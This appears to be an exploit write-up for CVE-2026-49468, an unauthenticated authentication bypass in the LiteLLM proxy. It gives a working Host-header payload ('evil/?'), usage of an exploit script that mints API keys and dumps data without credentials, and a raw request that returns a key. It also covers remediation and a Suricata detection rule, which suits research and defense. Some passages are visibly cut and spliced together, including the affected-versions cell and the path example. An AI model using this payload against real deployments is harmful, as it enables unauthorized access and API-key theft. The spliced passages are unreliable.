## https://sploitus.com/exploit?id=E60475C6-2D8B-5DED-9628-3BE753C05D93
# CVE-2026-49468 — LiteLLM Unauthenticated Auth Bypass via Host-Header Route Confusion
Pre-authentication authentication/authorization bypass in the **LiteLLM** proxy (BerriAI).
A single crafted `Host` header makes the proxy evaluate its auth decision against a public
health route while FastAPI still executes the protected management handler — serving the
request with **no API key**.
| | |
|---|---|
| **CVE** | CVE-2026-49468 |
| **Product** | LiteLLM (BerriAI) proxy |
| **Affected** | ` The whole exploit is one header: **`Host: evil/?`**
---
## Root cause
`litellm/proxy/auth/auth_utils.py::get_request_route()` derives the route used for **every**
auth decision from `request.url.path`. Starlette rebuilds that URL string from the
**client-controlled `Host` header**:
```python
# starlette/datastructures.py (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}" # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path
```
FastAPI routing dispatches on the *raw* ASGI path `request.scope["path"]`. Injecting a `?`
into the `Host` header pushes the real request path into the URL **query** component, so the
reconstructed `url.path` collapses to `/`:
```
real request path (scope, FastAPI routes here) : /key/generate
Host header : evil/?
reconstructed URL : http://evil/?/key/generate
urlsplit(...).path : / 401
# [*] GET /user/list Host: evil/? -> 403
# [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).
# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
# [+] Minted virtual API key (unauthenticated): sk-....
# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump
# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check
```
`exploit.py` is stdlib-only (`http.client`) and sets the `Host` header verbatim at the wire
level. Actions: `check`, `mint-key`, `user`, `chat`, `dump`, `raw METHOD PATH`.
### Raw request
```http
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2
{}
```
```http
HTTP/1.1 200 OK
{"key":"sk-...", ...}
```
See [EVIDENCE.txt](EVIDENCE.txt) for the full baseline/bypass matrix, the adversarial
discriminant (`evil` → 401, `evil/foo` → 401, `evil/?` → 200), and the patched boundary.
---
## Remediation
- **Upgrade to LiteLLM `1.84.0` or later.**
- Workaround if you cannot upgrade: put the proxy behind a reverse proxy that enforces strict
`Host` validation (reject Host values containing `/`, `?`, `#`), and set a `master_key`.
## Detection
The bypass is a syntactically invalid `Host` header. Sample Suricata rule:
```
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
flow:to_server,established; http.host; pcre:"/[\/?#]/";
classtype:web-application-attack; sid:2026049468; rev:1;)
```
Log-side: any request whose `Host` header contains `/`, `?`, or `#` reaching a LiteLLM proxy.
## Credits
Caio Fabrício ([BiiTts](https://github.com/BiiTts)).
For authorized security research and testing only.